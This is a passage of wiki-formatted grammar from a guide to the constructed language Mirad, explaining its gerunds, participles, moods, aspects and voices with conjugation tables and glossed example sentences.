::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
